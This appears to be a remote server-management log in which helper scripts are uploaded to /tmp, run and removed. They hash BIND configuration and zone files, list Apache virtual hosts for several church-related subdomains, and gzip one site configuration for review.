MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:06:49: Establishing a connection
2026-01-03 19:06:57: Establishing a connection
2026-01-03 19:06:57:
PUT: /tmp/pkp285288
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:06:57:
runuser -l bind -s /bin/bash -c '/tmp/pkp285288; rm /tmp/pkp285288'
2026-01-03 19:06:57:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:07:01: Establishing a connection
2026-01-03 19:07:02:
PUT: /tmp/pkp386568
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:07:03:
chmod 755 /tmp/pkp386568; /tmp/pkp386568; rm /tmp/pkp386568
2026-01-03 19:07:03:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:07:03:
PUT: /tmp/pkp413156
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:07:04:
chmod 755 /tmp/pkp413156; /tmp/pkp413156; rm /tmp/pkp413156
2026-01-03 19:07:04:
(gzipped output)
